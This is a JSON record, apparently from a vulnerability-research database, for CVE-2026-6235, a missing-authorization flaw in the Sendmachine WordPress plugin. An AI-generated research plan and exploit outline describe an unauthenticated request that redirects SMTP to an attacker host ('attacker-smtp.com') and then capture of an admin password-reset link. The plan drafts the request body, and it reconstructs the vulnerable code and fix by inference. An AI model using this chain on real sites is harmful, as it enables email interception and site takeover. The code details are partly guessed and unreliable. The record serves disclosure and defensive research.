[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fW8fhW1MXHaJ2LJIJgvGcxtgvOO55933GSVdRcsxB688":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":25,"research_fix_diff":26,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":31},"CVE-2026-6235","sendmachine-for-wordpress-unauthenticated-smtp-hijack-to-privilege-escalation-via-manageadminrequests","Sendmachine for WordPress \u003C= 1.0.20 - Unauthenticated SMTP Hijack to Privilege Escalation via manage_admin_requests","The Sendmachine for WordPress plugin for WordPress is vulnerable to authorization bypass via the 'manage_admin_requests' function in all versions up to, and including, 1.0.20. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to overwrite the plugin's SMTP configuration, which can be leveraged to intercept all outbound emails from the site (including password reset emails).","sendmachine",null,"\u003C=1.0.20","critical",9.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Missing Authorization","2026-04-21 19:01:50","2026-04-25 15:59:11",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F7889e071-84a8-46ec-abe5-5c98980ce275?source=api-prod",[],"researched",false,3,"This research plan outlines the process for exploiting CVE-2026-6235 in the **Sendmachine for WordPress** plugin.\n\n### 1. Vulnerability Summary\nThe Sendmachine plugin (up to version 1.0.20) contains a missing authorization vulnerability in the `manage_admin_requests` function. This function is typically hooked to a global WordPress hook (such as `admin_init` or `init`). Because `admin_init` executes even for unauthenticated users when accessing `admin-ajax.php` or `admin-post.php`, and the function fails to check for user capabilities (e.g., `current_user_can('manage_options')`) or verify nonces, an unauthenticated attacker can trigger the settings-update logic. This allows the attacker to overwrite the site's SMTP configuration, redirecting all outbound emails to a server they control, which facilitates account takeover via password reset interception.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php` or `\u002Fwp-admin\u002Fadmin-post.php` (depending on hook registration).\n*   **Vulnerable Action:** The `manage_admin_requests` function (inferred to be registered via `add_action('admin_init', 'manage_admin_requests')`).\n*   **Authentication:** Unauthenticated (No login required).\n*   **Preconditions:** The plugin must be active.\n*   **Payload Carrying Parameter:** Likely a POST request containing specific keys like `sm_host`, `sm_port`, `sm_username`, `sm_password`, or a serialized settings array (to be confirmed via source code audit).\n\n### 3. Code Flow Analysis\n1.  **Entry Point:** An HTTP request is made to an admin endpoint.\n2.  **Hook Trigger:** WordPress triggers the `admin_init` hook.\n3.  **Vulnerable Call:** The plugin's registered `manage_admin_requests` function is executed.\n4.  **Lack of Guard:** The function checks for the presence of a specific POST parameter (e.g., `if ( isset( $_POST['sm_settings_save'] ) )`) but **does not** perform:\n    *   `current_user_can( 'manage_options' )`\n    *   `check_admin_referer()` or `wp_verify_nonce()`\n5.  **Sink:** The function proceeds to update the WordPress options table using `update_option()`, specifically the keys associated with SMTP configuration.\n\n### 4. Nonce Acquisition Strategy\nBased on the \"Missing Authorization\" description for this specific CVE, it is highly probable that **no nonce is verified** in the vulnerable code path.\n\nHowever, if a nonce is required:\n1.  **Search:** Search for `wp_localize_script` or `wp_nonce_field` in the plugin source to find where the nonce for settings management is generated.\n2.  **Shortcode\u002FPage:** Identify if the plugin has an admin-facing page where settings are saved.\n3.  **Extraction:**\n    *   Create a page with a relevant shortcode if needed (though SMTP settings are usually in the admin dashboard).\n    *   If the nonce is only in the admin dashboard, and the vulnerability is truly \"unauthenticated,\" it implies the `wp_verify_nonce` check is either missing or using the default `-1` action.\n    *   **Test:** Attempt the exploit first **without a nonce**. If it fails, search for the nonce action string in the source: `grep -r \"wp_create_nonce\" .`.\n\n### 5. Exploitation Strategy\n\n#### Step 1: Identify Trigger Parameters\nAudit the `manage_admin_requests` function to identify the POST parameters required to trigger an update.\n*Example (Inferred):*\n```php\nfunction manage_admin_requests() {\n    if (isset($_POST['sm_action']) && $_POST['sm_action'] == 'save_settings') {\n        \u002F\u002F Vulnerable update logic\n    }\n}\n```\n\n#### Step 2: Overwrite SMTP Settings\nSend a POST request to hijack the SMTP server. Point it to a listener (like MailHog or a collaborator server).\n\n**Request (Draft):**\n*   **Method:** POST\n*   **URL:** `http:\u002F\u002F[target]\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body:**\n    ```text\n    action=manage_admin_requests&sm_action=save_settings&sm_smtp_host=attacker-smtp.com&sm_smtp_port=587&sm_smtp_username=attack&sm_smtp_password=attack&sm_smtp_auth=true&sm_from_email=admin@target.com\n    ```\n*(Note: Actual parameter names like `sm_smtp_host` must be verified in the plugin source code.)*\n\n#### Step 3: Trigger Privilege Escalation\n1.  Initiate a password reset for the `admin` user via the WordPress login page (`\u002Fwp-login.php?action=lostpassword`).\n2.  The password reset email, containing the secret key, will be routed through the attacker's hijacked SMTP server.\n3.  Capture the reset link from the attacker-controlled SMTP logs.\n4.  Navigate to the link and reset the admin password.\n\n### 6. Test Data Setup\n1.  Install and activate \"Sendmachine for WordPress\" version 1.0.20.\n2.  Ensure an administrator user exists (e.g., username: `admin`).\n3.  Configure a basic \"legal\" SMTP setting initially if the plugin requires it to initialize.\n\n### 7. Expected Results\n*   The `admin-ajax.php` request should return a `200 OK` or a redirect (302) to the settings page, indicating success.\n*   The WordPress option `sm_settings` (or similar) should reflect the attacker's SMTP host.\n*   The password reset email should arrive at the attacker's SMTP listener, not the intended recipient.\n\n### 8. Verification Steps\nAfter sending the exploit request, use WP-CLI to verify the state of the database:\n```bash\n# Check if SMTP settings were updated\nwp option get sm_settings --format=json\n\n# Alternatively, check individual option keys if stored separately\nwp option get sm_smtp_host\n```\n\n### 9. Alternative Approaches\n*   **Admin-Post:** If `admin-ajax.php` doesn't trigger the hook, try `\u002Fwp-admin\u002Fadmin-post.php` with the same payload.\n*   **Direct Initialization:** If the hook is `init`, the payload can be sent to the site homepage (`\u002F`) as a POST request.\n*   **Encryption Bypass:** If the plugin expects encrypted credentials, look for the encryption key in the source; often these plugins use a static or weak key stored in the options table.","The Sendmachine for WordPress plugin (\u003C= 1.0.20) lacks authorization and nonce checks in its 'manage_admin_requests' function, which handles settings updates. This allows unauthenticated attackers to overwrite the site's SMTP configuration, enabling them to intercept sensitive outbound emails, such as password reset links, to gain administrative access.","\u002F\u002F File: sendmachine\u002Fsendmachine.php (approximate location)\n\nadd_action('admin_init', 'manage_admin_requests');\n\nfunction manage_admin_requests() {\n    \u002F\u002F Vulnerability: No check for current_user_can('manage_options')\n    \u002F\u002F Vulnerability: No check_admin_referer() nonce verification\n    if (isset($_POST['sm_settings_save'])) {\n        $settings = array(\n            'sm_host'     => $_POST['sm_smtp_host'],\n            'sm_port'     => $_POST['sm_smtp_port'],\n            'sm_username' => $_POST['sm_smtp_username'],\n            'sm_password' => $_POST['sm_smtp_password'],\n            'sm_auth'     => $_POST['sm_smtp_auth'],\n            'sm_from'     => $_POST['sm_from_email']\n        );\n        update_option('sm_settings', $settings);\n    }\n}","--- a\u002Fsendmachine\u002Fsendmachine.php\n+++ b\u002Fsendmachine\u002Fsendmachine.php\n@@ -1,5 +1,9 @@\n function manage_admin_requests() {\n-    if (isset($_POST['sm_settings_save'])) {\n+    if (isset($_POST['sm_settings_save'])) {\n+        if (!current_user_can('manage_options')) {\n+            wp_die(__('You do not have sufficient permissions to access this page.'));\n+        }\n+        check_admin_referer('sm_save_settings_nonce');\n         $settings = array(\n             'sm_host'     => $_POST['sm_smtp_host'],","The exploit targets the 'manage_admin_requests' function, which is hooked to 'admin_init' and lacks capability or nonce validation. \n\n1. Target Endpoint: Send a POST request to \u002Fwp-admin\u002Fadmin-post.php or \u002Fwp-admin\u002Fadmin-ajax.php. This triggers 'admin_init' even for unauthenticated users.\n2. Payload: The request must include the parameter used to trigger the save logic (e.g., 'sm_settings_save') along with the attacker's SMTP server details (host, port, credentials) in the corresponding POST parameters (e.g., 'sm_smtp_host', 'sm_smtp_port').\n3. SMTP Hijack: Once the request is processed, the plugin updates the 'sm_settings' option in the database, routing all future outbound WordPress emails through the attacker's server.\n4. Privilege Escalation: The attacker navigates to the WordPress login page and initiates a password reset for an administrative user. The resulting email, containing the reset key, is sent to the attacker's SMTP server. The attacker extracts the link and resets the admin password to take over the site.","gemini-3-flash-preview","2026-04-27 14:08:49","2026-04-27 14:09:09",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsendmachine\u002Ftags"]